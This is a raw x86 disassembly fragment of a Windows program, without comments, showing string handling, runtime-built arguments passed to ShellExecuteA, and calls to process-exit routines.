lea ecx, [ebp - 0x120]
call fcn.004040a0
lea eax, [ebp - 0x120]
push eax
lea edx, [ebp - 0x688]
lea ecx, [ebp - 0x104]
call fcn.00407750
add esp, 4
push 0x44289b
mov ecx, eax
call fcn.004037f0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x254], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x244], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
lea eax, [ebp - 0x2dc]
push eax
lea eax, [ebp - 0x254]
push eax
push dword [ebp - 0x30]
lea ecx, [ebp - 0x80]
call fcn.00411db0
push dword [ebp - 0x34]
push esi
lea ecx, [ebp - 0x68]
call fcn.00405b90
add esp, 8
push eax
lea eax, [ebp - 0x80]
push eax
push dword [ebp - 0x30]
lea ecx, [ebp - 0x5e4]
call fcn.00411db0
mov edx, dword [ebp - 0x6c]
cmp edx, 0x10
jb 0x40bdfa
inc edx
mov ecx, dword [ebp - 0x80]
mov eax, ecx
cmp edx, 0x1000
jb 0x40bdf0
add edx, 0x23
mov ecx, dword [ecx - 4]
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40ee65
push edx
push ecx
call fcn.00419018
add esp, 8
mov edx, dword [ebp - 0x240]
cmp edx, 0x10
jb 0x40be34
inc edx
mov ecx, dword [ebp - 0x254]
mov eax, ecx
cmp edx, 0x1000
jb 0x40be2a
mov edx, dword [ebp - 0xf0]
cmp edx, 0x10
jb 0x40be6e
call fcn.0041eb32
call fcn.0041eb32
call fcn.0041eb32
call fcn.0041eb32
call fcn.0041eb32
call fcn.0041eb32
call fcn.0041eb32
call fcn.0041eb32
mov edi, dword [ebp - 0xec]
mov esi, dword [ebp - 0x24]
push 1
push 0
push 0
push edi
lea ecx, [ebp - 0x80]
call fcn.00403900
push eax
lea edx, [ebp - 0x254]
lea ecx, [ebp - 0x68]
call fcn.00411620
add esp, 4
mov ecx, eax
call fcn.004037e0
push eax
push esi
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
lea ecx, [ebp - 0x68]
call fcn.00403860
lea ecx, [ebp - 0x80]
call fcn.00403860
push 0
call fcn.0041eeaf
call fcn.0041eb32
push 0xffffffffffffffff
call fcn.0041eeaf
call fcn.0041eb32
call fcn.0041eb32
call fcn.0041eb32
call fcn.0041eb32
push edi
lea ecx, [ebp - 0x70c]
call fcn.00401960
push 0x4459d8
lea eax, [ebp - 0x70c]
push eax
call fcn.00419f4b
push edi
lea ecx, [ebp - 0x700]
call fcn.00401960
push 0x4459d8
lea eax, [ebp - 0x700]
push eax
call fcn.00419f4b
push edi
lea ecx, [ebp - 0x6f4]
call fcn.00401960
push 0x4459d8
lea eax, [ebp - 0x6f4]
push eax
call fcn.00419f4b
push 0x442c4c
lea eax, [ebp - 0xe58]
push eax
lea ecx, [ebp - 0x2ac]
call fcn.00403900
push eax
push edi
lea ecx, [ebp - 0x2c4]
call fcn.00403900
mov edx, eax
lea ecx, [ebp - 0x1bc]
call fcn.004117b0
add esp, 4
mov edx, eax
lea ecx, [ebp - 0x1e0]
call fcn.004113a0
add esp, 4
mov ecx, eax
call fcn.004037e0
mov ecx, eax
call fcn.00408230
lea ecx, [ebp - 0x1e0]
call fcn.00403860
lea ecx, [ebp - 0x1bc]
call fcn.00403860
lea ecx, [ebp - 0x2c4]
call fcn.00403860
lea ecx, [ebp - 0x2ac]
call fcn.00403860
push 0
call fcn.0041eeaf
int3